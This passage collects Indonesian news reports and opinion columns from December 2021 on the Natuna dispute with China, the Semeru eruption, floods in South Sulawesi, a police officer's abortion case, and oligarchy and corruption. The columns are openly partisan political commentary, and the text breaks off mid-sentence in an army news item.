By M Rizal Fadillah Sama-sama Kepala Staf tetapi beda sikap soal kedaulatan negara di laut dan di darat. KSAL bersikap keras dan tegas menghadapi tantangan bahkan ancaman dari negara raksasa China. Nota protes China dijawab KSAL Laksamana TNI Yudo Margono, SE MM dengan pernyataan bahwa TNI AL tidak akan mundur atas Natuna karena menyangkut kedaulatan dan kehormatan bangsa Indonesia. "Satu yard pun kami tak akan mundur". Berbeda dengan KSAD Jenderal TNI Dudung Abdurrahman yang sedang menghadapi gerakan separatis Papua. Bukan sikap tegas apalagi keras yang dinyatakan kepada pemberontak KKB Papua, justru menyebut mereka sebagai saudara yang harus dirangkul. Akibatnya alih alih berhenti bergerak itu KKB Papua, justru korban prajurit TNI semakin banyak berjatuhan. Sikap 'memble' KSAD ini seolah-olah menyatakan "Satu yard pun kami tak akan maju". Di tengah kultur politik yang sering tidak jelas integritas diri dimana banyak pejabat yang berwatak pengecut atau hipokrit, maka fenomena Yudo Margono menjadi sangat menarik. Wajar jika muncul banyak apresiasi. Ancaman ini bukan datang dari sembarang pihak tetapi China negara rasaksa yang mengklaim Laut China Selatan khususnya di Nine Dash Line sebagai milik warisannya. Perlawanan Yudo Margono berimplikasi luas termasuk terhadap sikap politik Pemerintahan Jokowi yang semakin tidak jelas mengenai konflik Natuna. Pro China, bebas aktif atau bebas pasif ? China mencoba mencengkeram Indonesia melalui program OBOR, debt trap, TKA, serta jaringan pengusaha diaspora. Ditambah kerjasama Partai Komunis China dengan partai-partai politik di Indonesia. Koordinator China-Indonesia Luhut Binsar Panjaitan menjadi "penguasa" Pemerintahan dengan multi fungsi dalam berbagai jabatan. Laksamana Yudo Margono memotivasi prajurit agar memiliki sikap ksatria "mempertaruhkan nyawa" dalam membela kepentingan bangsa. Motivasi yang semestinya juga tertuju kepada KSAD, jajaran Menteri dan Presiden. Mereka kini diragukan oleh rakyat semangat untuk mempertahankan kedaulatan negara apalagi sampai "mempertaruhkan nyawa". Terlalu banyak slogan NKRI harga mati yang hanya omong doang. Faktanya justru mereka berkolaborasi dalam menggadaikan atau menjual kedaulatan. NKRI menjadi komoditi untuk keuntungan diri dan oligarkhi. China telah menjadi sahabat bahkan komandan dari pelecehan negeri ini. Satu yard pun kami tak akan mundur adalah kalimat fenomenal. Harus didukung masif dan eksplosif oleh seluruh elemen bangsa dan rakyat Indonesia. Ketika rakyat kecewa dengan kebijakan KSAD Dudung, maka Yudo benar-benar mengobati. Dudung harus banyak belajar pada keberanian Yudo Margono. "Jalesveva Jayamahe" Di laut kita jaya. Coba jika Presiden Jokowi pidato lantang dalam menghadapi ancaman China soal penghentian pengeboran migas Natuna dengan kalimat "Satu yard pun kami tak akan mundur" tentu luar biasa. Dapat membangkitkan semangat nasionalisme seluruh rakyat Indonesia. Tapi rasanya pidato Presiden seperti ini hanya ada dalam mimpi. Soalnya jangan-jangan justru Presiden yang segera dimundurkan oleh China. Sekali lagi Bravo Laksamana Yudo, anda adalah prajurit sejati. Kebanggaan TNI. *) Pemerhati Politik dan Kebangsaan

Psikologi Jackpot

Oleh Ridwan Saidi Jackpot mesin judi yang mewabah pada awal Orde Baru terutama di Jakarta. Mesin ini dapat dijumpai di pusat-pusat belanja, atau tempat khas untuk ngejackpot. Mesin ini memainkan tiga baris numerik 1 - 9 agar ketemu triple seven. Menghidupkan mesin dengan memasukkan koin berbayar, lalu tarik tungkai jackpot. Mesin berputar. Angka tiga digit jarang tripel seven. Kalau pas kena suara mesin menderu keluarkan puluhan koin, lalu tukarkan dengan rupiah. Gampang mainnya, kalau kena besar rupiahnya. Banyak yang ketagihan jackpot, gampang mainnya besar rupiahnya. Kalau kena 777, kalau tidak berapa rupiah uang dihabiskan. Psikologi jackpot ini yang dimainkan China untuk menjerat negara-negara target, termasuk Indonesia. China tawarkan kemudahan pinjaman off book tanpa jaminan negara. Dan China terlibat pula pada pengerjaan proyek yang tanpa studi kelayakan yang OK. Maka muncullah pelabuhan udara yang jadi bengkel, MRT dan LRT yang tidak jalan. Bagaimana begitu mudah impressario adu ketangkasan setujui sebuah kota tawarkan diri jadi tuan rumah walau tak punya infrastruktur yang diperlukan. Dan bagaimana pula si calon tuan rumah bisa tergiur. Di sini psikologi jackpot berperan. Siapa yang tak tertarik kalau kota yang dipimpinnya tiba-tiba jadi New York. Start spreading the news I'm leaving today I want to be a part of It - New York New York Yes, Frank Sinatra. *) Budayawan

Belajar dari Kasus Erupsi Semeru, Anis Matta: Indonesia Perlu Bangun Solidaritas Mitigasi Bencana

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menilai Indonesia saat ini perlu membangun solidaritas mitigasi bencana, belajar dari kasus erupsi Gunung Semeru, Lumajang, Jawa Timur, yang telah menyebabkan 34 orang meninggal dunia, 69 luka-luka dan 16 orang hingga kini, "Kita sudah mendengarkan bahwa peringatan dini itu, ternyata sudah dilakukan oleh BMKG atau otoritas PVMBG. Untuk ini, kita perlu membangun solidaritas pada tahapan mitigasi," kata Anis Matta dalam Gelora Talk bertujuk 'Climate Change, Mitigasi Bencana dan Solidaritas Kita', Rabu (8/12/2021). Menurut dia, mitigasi bencana ini penting dilakukan untuk meminimalisir jumlah korban jiwa dan menghindarkan adanya kebutuhan politik' jangka pendek setiap kali ada bencana kemanusiaan. "Kalau mitigasi rencananya sudah terjadi, situasinya akan lebih emosional dan dramatis. Kebutuhan politik jangka pendek berbaur dengan panggilan kemanusiaan. Yang penting itu, bagaimana menghindarkan kecelakaan dan kerugian nyawa pada situasi bencana seperti itu," katanya. Karena itu, kata Anis Matta, disinilah perlunya kesadaran tentang perubahan iklim secara fundamental, tidak hanya mengatur masalah tata ruang, tetapi juga peningkatan teknologi kebencanaan, karena wilayah geografis Indonesia rawan bencana alam. "Sebelum erupsi Semeru kemarin seperti tidak ada peringatan dini kita lakukan. Sebenarnya agak memalukan kita sebagai bangsa, apalagi tergabung di G20 dan presidennya sekarang adalah presiden kita sendiri," ujarnya. Anis Matta berharap hal ini menjadi perhatian serius pemerintah untuk mengambil langkah kongkret, bahwa Indonesia telah memasuki darurat perubahan iklim secara secara sistematis. "Saya juga ingin sampaikan bahwa setiap kali ada bencana bencana alam yang kita alami terlalu banyak peristiwa atau drama politik yang menyertainya. Kunjungan para pejabat tinggi datang silih berganti seperti yang kita lihat di Semeru. Ini menyedihkan, korban terus berjatuhan tanpa bisa kita melakukan langkah-langkah mitigasi yang lebih sistematis," tegasnya. Eks Kepala Bidang Pengamatan Dan Penyelidikan Gunung Api PVMBG DR. Ir I Gede Suantika menegaskan, PVMBG sudah mengeluarkan peringatan dini sebelum erupsi Semeru, bahkan peringatan dini tersebut diberikan setiap hari. "PVMG sudah memberikan peringatan dini kepada pemerintah, kita mengeluarkan peringatan dini itu setiap hari berdasarkan hasil pengamatan yang kita lakukan," kata I Gede Suantika. Hal senada disampaikan Kepala Analisis Perubahan Iklim Kadarsah, MSi mengatakan, BMKG telah memberikan update informasi mengenai cuaca dan daerah rawan bencana, akibat fenomena La Nina yang melanda Indonesia saat ini. "Jadi begitu ada kejadian-kejadian, kami langsung infokan melalui kanal-kanal informasi BMKG. Ini daerah rawan longsor misalnya agar diperhatikan, tapi memang perlu ada koordinasi lebih lanjut di tataran pemerintah daerah," kata Kadarsah. Koordinator Aktivis Pencinta Alam Sanggabuana Sofyan mengatakan, wilayah Indonesia merupakan kawasan rawan bencana, sehingga diperlukan upaya untuk mengurangi resiko bencana lebih efektif lagi. "Kita perlu kajian kerentanan bencana untuk mengetahui tentang faktor pemicu dan penyebab sehingga kita bisa melakukan berbagai hal untuk mengurangi risiko, sehingga mengurangi resiko bencana. Kita juga perlu lebih mengefektifkan lagi kearifan lokal, mereka sudah ada early warning sistem," kata Sofyan. Sedangkan Komandan Blue Helmet Indonesia Sulfiadi Barmawi mengatakan, kesigapan Blue Helmet mendatangi lokasi bencana tak lain ingin memberikan harapan dan semangat kepada para korban bencana alam, termasuk korban erupsi Gunung Semeru, Lumajang. "Semangat kita ingin menjadi bagian dari pada orang-orang yang memberikan harapan kepada para penyintas, kepada para korban. Semangat totalitas tanpa batas dari Blue Helmet ini mendapatkan dukungan banyak pihak. Terkait bencana ini kita perlu, ada Sinergi dan kolaborasi yang kuat, sehingga bisa mengurangi beban masyarakat, nafas panjang pelayanan dalam bencana adalah Kolaborasi" kata Sulfiadi. Dalam kesempatan ini, Blue Helmet menyampaikan perkembangan langsung di lokasi bencana erupsi Gunung Semeru di Lumajang. Informasi perkembangan disampaikan secara lansung oleh Ketua Blue Helmet Jawa Timur Hasan Basori. "Ini hari keempat, Blue Helmet di lokasi bencana di wilayah Pronojiwo. Satu tahun lalu, kita sudah kesini saat terjadi gempa dan kita datang lagi saat banjir bandang akibat erupsi Semeru. Bantuan yang ada sudah melimpah, tinggal menyalurkan ke lokasi-lokasi pengungsian yang sebagian besar jalurnya terputus," kata Hasan Basori. (sws)

Cina Makin Ngelunjak, Sudah Dikasih Hati Minta Ampela

Jakarta, FNN - Sejak Pemerintahan Presiden Joko Widodo berkuasa, hubungan RI-RRC terasa sekali sangat menguat. Hal ini seolah ada rindu yang terpendam lebih dari 10 tahun karena pada saat Pemerintahan Megawati, kedekatan yang mulai dibangun saat itu tidak berlanjut akibat terjadinya pergantian kekuasaan kepada Pemerintahan Susilo Bambang Yudhoyono. “Gejala ini dirasakan sekali karena berbagai kerjasama yang terjadi antara RI-RRC semakin terasa asimetris dengan mengubah berbagai peraturan penting demi melayani RRC, yang pada hemat kami kerjasama tersebut lebih banyak merugikan RI,” kata Koordinator Front Anti Dominasi Asing Moh Jumhur Hidayat. Di antara pelayanan yang diberikan demi kerjasama dengan RRC ini di antaranya adalah: 1. Paket perjanjian kerjasama dengan RRC atau investor dari RRC yang mengharuskan RI melakukan berbagai kebijakan yang mempermudah masuknya tenaga kerja asing (TKA), melegalkan diskriminasi dalam pengupahan, pembelian komponen dan barang modal untuk proyek dari RRC, perlakuan bebas pajak (tax holiday), pembangunan infrastruktur demi mendukung ambisi RRC dengan Skema OBOR (one belt one road) padahal belum diperlukan oleh bangsa Indonesia saat ini dan sebagainya. 2. Pembentukan UU Omnibus Law yang gamblang telah dinyatakan Mahkamah Konstitusi sebagai inkonstitusional (melanggar konstitusi UUD 1945) adalah juga bagian dari adanya kerjasama dengan RRC ini karena sebelumnya tidak pernah ada investor dari negara mana pun yang meminta peraturan seburuk seperti yang ada dalam UU Omnibus Law, baik itu dari tata cara pembuatannya (formil) maupun isi atau substansinya (materil). Dari berbagai hubungan kerjasama asimetris dan banyak bermasalah itu, saat ini rakyat Indonesia dikejutkan dengan intervensi langsung atas kedaulatan NKRI di wilayah Laut Natuna Utara dengan melarang aktivitas Pengeboran Migas. Padahal nyata-nyata wilayah tersebut bagian dari Zona Ekonomi Eksklusif sesuai dengan Peraturan PBB yaitu UNCLOS 1982 (The United Nations Convention on the Law of the Sea) yang merupakan kelanjutan dari Deklarasi Juanda 13 Desember 1957. Menurut Jumhur Hidayat, tingkah polah RRC ini adalah bagai peribahasa “Dikasih Hati Minta Ampela”. Berdasarkan hal-hal tersebut, Front Anti Dominasi Asing menyatakan sikap sebagai berikut: 1. Hentikan provokasi-provokasi RRC terhadap Kedaulatan NKRI di wilayah Laut Natuna Utara. 2. Hentikan segala bentuk intervensi baik langsung maupun tidak langsung kepada RI karena kami rakyat Indonesia tidak bodoh dan buta. “Demikian pernyataan sikap ini kami sampaikan untuk diperhatikan, dicamkan dan dilaksanakan sebelum kami mendesak Pemerintah RI memutuskan kembali hubungan diplomatik dengan RRC,” tegas Jumhur Hidayat. (mth)

Ironis Polisi Terlibat Aborsi Mahasiswi

By Prof Dr Suteki SH MHum, UNDIP Novia Widyasari adalah seorang mahasiswi di PTN Jawa Timur, bunuh diri di samping pusara ayahnya karena ada dugaan "dihamili" pacar bernama Randy Bagus dan disuruh aborsi ketika kandungannya berusia 4 bulan. Belakangan pelaku diketahui, Randy merupakan anggota polisi yang bertugas di Polres Pasuruan dan semula dikira putra dari seorang anggota DPRD, namun belakangan diketahui bahwa ayahnya seorang tengkulak gabah. Fakta ini menunjukkan adanya sebuah fenomena kekerasan seksual yang makin mengerikan. Di sisi lain ada opini asing terkait solusi ini juga mengerikan, misal: "solusi untuk mencegah kekerasan seksual dalam hubungan pacaran itu bukan dengan melarang pacaran, sebab kalau pakai pola begitu, maka solusi untuk mencegah KDRT adalah dengan melarang pernikahan". Terkait dengan fenomena statemen ini, perlu jelaskan beberapa hal sebagai berikut: Pertama, saya menyatakan prihatin atas fenomena makin meroketnya "pelanggaran seksual" termasuk di dalamnya kekerasan seksual. Baik kuantitas dan kualitasnya statistiknya tampak makin tinggi. Kedua, opini tersebut termasuk logical fallacy, kesesatan berpikir. Ada atau tidak adanya pacaran tetap ada kekerasan seksual (sexual non consent) atau kemesraan seksual menyimpang (sexual consent). Alloh tidak menutup hasrat manusia di bidang seksual, tapi memberikan petunjuk agar penyalurannya tepat dan terkendali, yakni melalui AJANG PERNIKAHAN. Jika belum mampu menikah maka "tahan dan kendalikan hasrat itu" dengan MENUTUP PINTU BERGEJOLAKNYA NAFSU dengan MENAHAN PANDANGAN, MENUTUP AURAT dan jika perlu berpuasa. Bukan dengan menutup pintu kemaslahatan berupa PERNIKAHAN. Ketiga, negara harus hadir untuk menutup pintu kekerasan seksual dan kemesraan seksual yg menyimpang dengan melakukan: (1) Upaya Preventif: pembelajaran (2) Upaya Kuratif: penerapan sanksi dan pemulihan (3) Upaya fasilitasi kemudahan menikah: bantuan (pekerjaan, tempat tinggal., mas kawin dan biaya pernikahan) bagi yg tidak mampu. Kasus kekerasan seksual yang hingga kini masih hangat diperbincangkan adalah kasus Novia dengan pacarnya Randy di Jawa Timur. Dari segi hukum dapat dijelaskan duduk perkara dan ancaman pidana yang dapat dikenakan kepada Bripda Randy. Berdasarkan keterangan pihak kepolisian Polda Jawa Timur, korban NWR berkenalan dengan Bripda Randy Bagus pada Oktober 2019. Korban dan Bripda Randy Bagus bertemu di acara launching sebuah distro baju di Malang. Korban dan Bripda Randy Bagus kemudian bertukar nomor handphone. Setelah beberapa lama menjalin komunikasi, mereka memutuskan untuk berpacaran. Di kemudian hari terungkap bahwa ada fakta hukum sebagai berikut: (1) Terjadi hubungan suka sama suka, yakni pacaran yang sebenarnya menurut Islam juga dilarang, namun oleh hukum negara tidak ada larangan ketika tidak ada paksaan (sexual consent). (2) Akibat hubungan "terlarang secara agama" maka diketahui Korban hamil dan ada upaya Bripda Randy untuk melakukan aborsi (dengan paksaan). Hal ini tentu bertentangan dengan UU Kesehatan dan KUHP. Keduanya lalu sepakat menggunggurkan kandungan saat 2 kali hamil tersebut. Pertama saat usia kandungan masih hitungan minggu, dan kedua berusia 4 bulan. Demikian dijelaskan oleh Wakapolda Jawa Timur Brigjen Slamet Hadi Supraptoyo sebagaimana dikutip oleh berbagai media online. Adapun ancaman hukuman yang dapat dikenakan kepada Bripda Randy adalah sebagai berikut: (1) DISIPLIN POLRI dan Perkap nomor 14 tahun 2011 tentang kode etik Pasal 7 dan 11. Ini sudah memenuhi unsur, hukuman terberatnya adalah Pemberhentian Dengan Tidak Hormat (PTDH). Ini hukuman terberat. (2) RB akhirnya ditetapkan sebagai tersangka tindak pidana aborsi atau Pasal 348 KUHP juncto Pasal 55 KUHP dengan ancaman 5 tahun penjara. (3) Sanksi pidana bagi pelaku aborsi diatur dalam Pasal 194 UU Kesehatan yang berbunyi; "Setiap orang yang dengan sengaja melakukan aborsi tidak sesuai dengan ketentuan sebagaimana dimaksud dalam Pasal 75 ayat (2) dipidana dengan pidana penjara paling lama 10 tahun dan denda paling banyak Rp1 miliar." Pasal 194 UU Kesehatan tersebut dapat menjerat pihak dokter dan/atau tenaga kesehatan yang dengan sengaja melakukan aborsi ilegal, maupun pihak perempuan yang dengan sengaja melakukannya. Kasus Rany dan Novia, bukan kasus baru di negeri Pancasila ini. Pada kebanyakan kasus seringkali orang melakukan hubungan badan saat berpacaran itu atas dasar sexual consent, kemudian ketika ada akibat kehamilan, pihak laki-laki menyuruh aborsi/berlepas diri dan menggantungkan hubungan tanpa ada komitmen apapun, ini yang kebanyakan membuat wanita depresi. Hal ini menunjukkan bahwa MORAL bangsa ini tengah TERPURUK, khususnya rasa tanggung jawab atas perbuatan tidak ada. Istilahnya telah mewabah LAKI-LAKI PENJAHAT SEKSUAL yang tidak bertanggung jawab dan pihak WANITANYA tidak bisa menjaga diri bahkan tidak punya harga diri. Kasus ini sulit dipidana jika suka-sama suka (sexual consent) meskipun ada pihak yang dirugikan. Ini persis kasus antara Martua Raja Sidabutar vs Katharina Siahaan tahun 1978 di Pengadilan Negeri Medan yang kemudian ditangani oleh Hakim Bismar Siregar (di tingkat Pengadilan Tinggi). Di PN Martua Sidabutar dihukum percobaan 3 bulan karena terbukti melakukan pencabulan, di PT oleh Bismar dihukum selama 3 tahun karena terbukti melakukan PENIPUAN (Pasal 378 KUHP) tapi dibatalkan oleh hakim MA Adi Andojo dengan alasan Hakim Bismar terlalu luas menafsirkan Pasal 378 KUHP dengan metode konstruksi hukum berupa ANALOGI. Kita prihatin atas maraknya pelanggaran seksual di tengah masyarakat kita yang religius ini. Agar tidak terulang kasus tragis Novia ini, ada beberapa hal yang ingin saya sampaikan ke publik, yaitu: (1) Benteng terawal dan terakhir adalah agama yang lurus. No law without moral, no moral without relegion. Ps 29 ayat 1 UUD 1945 menyatakan bahwa Negara berdasar atas Ketuhanan Yang Maha Esa. (2) Wanita jangan mudah terbujuk rayu lelaki dan begitu pula sebaliknya. Jangan pernah menjadi PRIBADI MURAHAN. Menjaga marwah, kehormatan wanita harus dimulai dari lingkungan terkecil, yakni keluarga. (3) Pintu-pintu kekerasan seksual dan kemesraan seksual harus mulai dikurangi dan dibatasi jika perlu dilarang. Sarana media harus ketat dan peraturan hukum mesti tegas dengan sanksi yang menjerakan. RUU KUHP dan UUPKS segera dituntaskan dengan menampung aspirasi rakyat, wajar jika di negara demokrasi mayoritas mengendalikan, RULER CLASS bukan tertindas. Pada akhirnya, saya mendorong agar proses hukum yang berlangsung tidak hanya meminta pertanggungjawaban dari tersangka pelaku Bripda Randy, tetapi juga petugas kepolisian jika ada petugas yang tidak menindaklanjuti laporan korban. Jadi, semua pihak yang turut serta membantu pelaku harus dimintai pertanggungjawaban, termasuk petugas kepolisian yang tidak menindaklanjuti laporan korban dan pendampingnya. Tabik...!!! Padang, Rabu: 8 Desember 2021

Korupsi, Oligarki, dan Runtuhnya Kekuasaan

Oleh Ubedilah Badrun Sejak 16 tahun lalu setiap tanggal 9 Desember hari anti korupsi sedunia selalu diperingati di banyak negara. Tentu bukan dalam konteks seremonial belaka atau sekedar selebrasi tetapi menghendaki sebuah gerakan internasional untuk melawan korupsi secara serius. Karenanya Perserikatan Bangsa-Bangsa (PBB) demi melawan korupsi telah membentuk apa yang disebut United Nations General Assembly Special Session Against Corruption (UNGASS). Di Indonesia korupsi menjadi musuh bersama tetapi upaya melawan korupsi itu kini menghadapi persoalan yang sangat serius sejak KPK dilemahkan melalui revisi Undang-Undang KPK pada tahun 2019. Berdasarkan laporan Transparency Internasional (2021) Indonesia termasuk negara dengan skor Indeks persepsi korupsi yang sangat buruk dengan skor 37 atau rapor nya merah. Rapor merah ini semakin parah ketika korupsi terjadi secara masif dengan level korupsi yang sangat besar dan sangat jahat. Sangat besar karena angkanya triliunan rupiah seperti yang terjadi dalam kasus korupsi PT.ASABRI, korupsi di PT.Jiwasraya, dan korupsi bantuan sosial. Sangat jahat karena selain angkanya triliunan juga terjadi disaat rakyat sedang menderita, mengalami kemiskinan dan dalam situasi yang terancam kematian akibat Covid-19. Hal itu terjadi misalnya dalam kasus korupsi bantuan sosial (bansos). Pola korupsi di Indonesia semakin kompleks seiring dengan dominasi oligarki dalam penyelenggaraan pemerintahan. Dalam tujuh tahun terakhir ini diksi Oligarki semakin kenceng terdengar. Semakin rame dibicarakan publik setelah bisnis PCR dilakukan pejabat istana yang sekaligus pengusaha ditengah rakyat menderita dan dalam ancaman kematian. Tidak tanggung - tanggung harga dipatok lima hingga sepuluh kali lipat lebih dari harga sebenarnya. Meski penguasa yang pengusaha ini berkilah tidak mengambil untung tetapi posisinya sebagai penguasa memungkinkan menjadi instrumen untuk memberi pengaruh bagi pengambilan keputusan soal harga PCR yang diputuskan di Istana. Penguasa yang berbisnis mengambil untung dengan menggunakan pengaruhnya sebagai penguasa untuk kepentingannya didefinisikan publik saat ini sebagai oligarki. Ya, jika definisi itu dibenarkan maka oligarki sesungguhnya sedang menggurita istana. Semakin miris gurita oligarki ini ketika istana tak berdaya. Bahkan memberikan karpet merah untuk oligarki berpesta. Seperti gurita menari-nari melayang dalam samudera lautan dosa istana. Itulah sebabnya mengapa Istana bilang UU Ciptaker tetap berlaku meskipun oleh Mahkamah Konstitusi (MK) dinilai bertentangan dengan konstitusi UUD 1945 (inkonstitusional). Pesta dan Gurita Oligarki Pada awal abad 20 Robert Michels menyimpulkan "..regardless of how democratic they may be at the start, will eventually and inevitably develop oligarchic tendencies.." (The Iron Law of Oligarchy,1911). Bahwa kecenderungan oligarkis itu konsekuensi dari politik yang makin kompleks. Lemahnya kepemimpinan dan mahalnya biaya politik ditengah kompleksitas problem negara dan buruknya performa pemerintah adalah pintu masuk yang sangat mudah bagi oligarki. Masalahnya Istana nampak menikmati The Iron Law of oligarchy, terlihat pasrah dan tunduk pada oligarki. Narasinya terang benderang, dengan jelas istana mengatakan " ...tidak ada satupun pasal UU Ciptaker dibatalkan MK meskipun inkonstitusional, jadi UU Ciptaker tetap berlaku..." Bagaimana mungkin disebut bertentangan dengan konstitusi lalu masih berlaku? Ironi hukum republik ini ditengah kuasa yang nihil moral politik. UU Omnibuslaw Ciptaker nomor 11 tahun 2020 ini sebagaimana diurai oleh banyak pakar hukum secara kritis ditemukan banyak masalah, dari proses hingga hasilnya. Proses yang pada awalnya 'kucing-kucingan' dan secara umum isinya menguntungkan oligarki. Diantaranya pasal tentang royalti 0 % . Sebagaimana disebutkan bahwa untuk kegiatan peningkatan nilai tambah batubara dapat berupa pengenaan royalti sebesar 0 % (nol persen). Ini terdapat dalam pasal 128A ayat 2 UU no 3 tahun 2020 tentang Minerba yang tercantum dalam Pasal 39 Poin 1 UU Ciptaker 2020. Jika istana menganggap bahwa UU Ciptaker tetap berlaku meski keputusan MK menyatakan UU Ciptaker inkonstitusional, maka itu maknanya istana telah secara terbuka menggelar karpet merah untuk oligarki berpesta. Pernyataan Istana yang nampak jumawa itu menyempurnakan pesta para oligarki setelah KPK lemah, UU Minerba dan UU Omnibuslaw Ciptaker disahkan. Pesta oligarki di kegelapan istana sedang terjadi. Runtuhnya Kekuasaan Dalam sejumlah studi tentang oligarki, termasuk karya Jeffrey A.Winters berjudul Oligarchy yang dipublikasikan Cambridge Universty Press (2011) setidaknya mempertegas pemaknaan oligarki. Bagi Jeffrey Winters (2011) oligarki tidak cukup hanya dimaknai sebagai kekuasaan yang dikendalikan sekelompok kecil. Oligark (oligarch) adalah aktor yang menguasai dan mengendalikan konsentrasi besar sumber daya material yang digunakan untuk mempertahankan kekayaan (wealth defense) atau meningkatkan kekayaan pribadi dan posisi sosial ekslusifnya. Jadi Oligarki itu sesungguhnya politik pertahanan dan politik penumpukan kekayaan oleh segelintir orang yang memiliki kekayaan material dan secara sosial ekslusif. Pemaknaan ini kemudian menghasilkan bentuk-bentuk oligarki yang tidak tunggal ( Winters,2011: 10). Jadi oligarki ini soal kerakusan segelintir elit ekslusif untuk terus mengendalikan konsentrasi besar sumber daya material sehingga terus mengendalikan kekuasaan. Bagaimana korelasi oligarki, korupsi dan runtuhnya kekuasaan bisa terjadi? Ketika kekuasaan dengan mudah dikendalikan oligarki setidaknya ada tiga hal utama yang akan rusak. Mari kita urai dulu dampak dominasi oligarki ini. Pertama, praktik politik rusak. Etika dan politik kenegarawanan disingkirkan, diabaikan bahkan dilecehkan. Dinasti politik tumbuh subur, karena oligarki senang beternak anak bau kencur dari penguasa istana menjadi penguasa-penguasa lokal yang disiapkan untuk masuk istana dikemudian hari. Kedua, demokrasi rusak. Sebab oligarki berkepentingan melindungi aset sumber daya materialnya, sehingga segala sesuatu yang mengancam keselamatan asetnya harus dihentikan. Maka jangan heran jika ada aktivis yang mengkritik oligarki dengan segera dilaporkan ke kepolisian dengan tuduhan pencemaran nama baik. Itu yang terjadi pada Haris Azhar dan Fatia Maulidiyanti. Pembungkaman oleh aparat terjadi bertubi-tubi melalui penggunaan pasal karet UU ITE. Akibatnya indeks demokrasi Indonesia memperoleh skor terendah sepanjang 14 tahun terakhir, hanya mendapat skor 6,30, dengan skor kebebasan sipil 5,59 (The Economist, 2021) dan indeks kebebasan internet 49 (freedomhouse,2021). Ketiga, korupsi merajalela. Oligarki yang menggurita dengan leluasa membeli politik elektoral. Membiayai pemenangan politik secara besar-besaran. Akibatnya politisi dibawah kendali oligarki yang turut mendorong praktik koruptif. Data KPK menunjukan bahwa 60 % koruptor adalah politisi. Pola transaksional politik dengan bisnis seringkali terjadi. Para oligarki menginginkan kemudahan akses bisnis dengan pembiayaan negara, para oligarki juga mengintervensi pembuatan regulasi yang menguntungkannya, bahkan bisa memerintah penguasa untuk melakukan apapun demi kepentingannya. Mereka mengabaikan kepentingan nasional, mengabaikan nasib rakyat banyak. Para oligarki seperti ini disebut oligarki predator, rakus, menguasai segala hal. Parahnya istana menikmati kepongahan oligarki ini dengan melemahkan KPK, mengesahkan UU Minerba dan UU Omnibuslaw Ciptaker. Ya jika itu yang terjadi maka ada benarnya jika istana negara berubah nama menjadi istana oligarki. Rakusnya para oligark predator yang membuat hilangnya moral politik, rusaknya demokrasi dan merajalelanya korupsi adalah tanda-tanda paling nyata dari menjelang runtuhnya kekuasaan dibanyak episode peradaban. Amuk masa dan konflik sosial seringkali menyertai situasi itu. Episode runtuhnya Monarki Eropa pada abad ke-18 (1789) seperti yang terjadi pada peristiwa Revolusi Perancis, bahkan runtuhnya penguasa republik di wilayah Asia hingga akhir abad 20 (kasus Philipine, Indonesia) dan awal abad 21 (kasus Mesir dll) adalah fakta historis yang tidak bisa diabaikan sebagai pelajaran berharga, bahwa korupsi dan dominasi oligarki yang jahat (predator) bisa menjadi pemicu paling berbahaya dari kejatuhan kekuasaan. Bagaimana dengan Indonesia saat ini? Wallahua'lam. * ) Pengamat Politik UNJ

Banjir Terjadi di Sembilan Daerah di Sulawesi Selatan

Makassar, FNN - Hujan yang turun dalam tiga hari terakhir menyebabkan bencana banjir di sembilan daerah di Provinsi Sulawesi Selatan, yakni Makassar, Maros, Pangkajene Kepulauan, Barru, Sidenreng Rappang, Soppeng, Wajo, Gowa, dan Jeneponto. Menurut Kepala Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Sulawesi Selatan Muhammad Firda di Makassar, Rabu, banjir antara lain terjadi di Kecamatan Biringkanaya, Tamalanrea, Manggala, Panakukang, Tamalate, dan Rappocini di Kota Makassar. Menurut data BPBD, banjir memaksa 3.206 warga mengungsi di 37 tempat pengungsian di Kota Makassar. Banjir juga terjadi di wilayah Kecamatan Balocci, Pangkajene, Bungoro, Minasatene, Labakkang, Ma'rang, Sigeri, Mandalle, serta Tondongtallasa di Kabupaten Pangkajene Kepulauan serta berdampak pada 5.000 warga. Di Kabupaten Barru, yang berdekatan dengan Pangkajene Kepulauan, banjir terjadi di wilayah Kecamatan Mallusetasi, Soppeng Riaja, Balusu, Barru, Tante Riaja, dan Tanete Rilau. Di Kabupaten Soppeng, banjir menyebabkan satu orang meninggal dunia dan berdampak pada 5.786 keluarga di Kecamatan Lalabata, Dontri-donri, Gandra, Lilirilau, Citta, Marioriawa, dan Liliriaja. Selain itu, banjir melanda wilayah Kecamatan Tempe, Sabbangparu, dan Belawa di Kabupaten Wajo, serta berdampak pada sekitar 1.000 keluarga. Banjir menyebabkan sembilan sekolah, lima fasilitas kesehatan, enam tempat ibadah, dan persawahan tergenang di wilayah itu. Di Kabupaten Maros, banjir menyebabkan permukiman warga, tempat ibadah, sekolah, dan areal persawahan tergenang di Kecamatan Marusu, Maros Baru, Lau, Bontoa, Simbang, dan Bantimurung. Banjir berdampak pada 100 keluarga di kecamatan-kecamatan itu. Banjir juga menyebabkan permukiman, tempat ibadah, dan sekolah di Kabupaten Gowa tergenang. Banjir yang terjadi di Kecamatan Somba Opu, Bajeng, Pattalassang, Pallangga, Bontonompo, dan Barombong di Kabupaten Gowa berdampak pada 325 keluarga. Di Kabupaten Sidenreng Rappang, banjir menyebabkan kerusakan jembatan di Kelurahan Bilokka, Kecamatan Pancaluntang, namun tidak sampai menimbulkan korban. Banjir juga terjadi di wilayah Kecamatan Tamalate dan Binamu di Kabupaten Jeneponto. (mth)

Kasad Ingatkan Dandim Harus Berani Ambil Keputusan Menyangkut Rakyat

Jakarta, FNN - Kepala Staf Angkatan Darat (Kasad) Jenderal TNI Dudung Abdurachman mengingatkan komandan kodim (dandim) di Tanah Air harus berani mengambil keputusan, terutama yang menyangkut kepentingan rakyat. "Seorang pemimpin harus berani mengambil keputusan," kata Kasad mengutip dari kanal YouTube TNI AD di Jakarta, Rabu. Hal tersebut disampaikan Kasad Jenderal TNI Dudung saat memberikan arahan kepada para dandim se-Indonesia di Markas Besar TNI AD. Dalam arahannya, mantan Panglima Komando Strategis Angkatan Darat (Pangkostrad) tersebut mengatakan setiap dandim harus bisa membawakan diri dan menghindari kesan sombong di tengah masyarakat. Hal tersebut juga bertujuan demi menjaga hubungan baik antara personel TNI AD dan kepala daerah serta pemangku kepentingan terkait lainnya di daerah. Tidak hanya itu, dia juga mendorong agar setiap dandim berani berbicara di hadapan wartawan atau media massa. Adapun tujuannya untuk memberitakan berbagai kegiatan positif yang telah dilakukan. Dengan memberitakan atau menginformasikan berbagai 